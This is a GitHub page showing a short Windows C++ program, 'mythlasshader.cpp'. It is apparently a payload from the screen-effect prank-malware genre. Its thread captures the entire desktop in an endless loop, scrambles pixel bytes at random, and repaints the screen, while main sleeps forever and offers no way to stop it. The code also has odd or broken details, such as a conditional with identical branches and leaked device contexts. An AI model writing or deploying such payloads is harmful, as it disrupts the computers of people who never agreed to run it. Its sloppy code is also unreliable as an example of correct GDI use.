-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathmythlasshader.cpp
29 lines (26 loc) · 1.02 KB
/
mythlasshader.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <windows.h>
DWORD WINAPI payload31(LPVOID lpParam) {
int ticks = GetTickCount(), w = GetSystemMetrics(0), h = GetSystemMetrics(1);
RGBQUAD* data = (RGBQUAD*)VirtualAlloc(0, (w * h + w) * sizeof(RGBQUAD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
for (int i = 0;; i++, i %= 3) {
HDC hdc = GetDC(0), hdcMem = CreateCompatibleDC(hdc);
HBITMAP hbm = CreateBitmap(w, h, 1, 32, data);
SelectObject(hdcMem, hbm);
BitBlt(hdcMem, 0, 0, w, h, hdc, 0, 0, SRCCOPY);
GetBitmapBits(hbm, w * h * 4, data);
int v = 0;BYTE bt = 0;
if ((GetTickCount() - ticks) > 60000) bt = rand() & 0xffffff;
for (int i = 0; w * h > i; i++) {
if (i % h == 0 && rand() % 100 == 0) v = rand() % 50;
((BYTE*)(data + i))[v ? 252 : 252] += ((BYTE*)(data + i))[i % 3] ^ bt;
}
SetBitmapBits(hbm, w * h * 4, data);
BitBlt(hdc, 0, 0, w, h, hdcMem, 0, 0, SRCCOPY);
DeleteObject(hbm); DeleteObject(hdcMem);
DeleteObject(hdc);
}
}
int main(){
HANDLE thread31 = CreateThread(0, 0, payload31, 0, 0, 0);
Sleep(-1);
}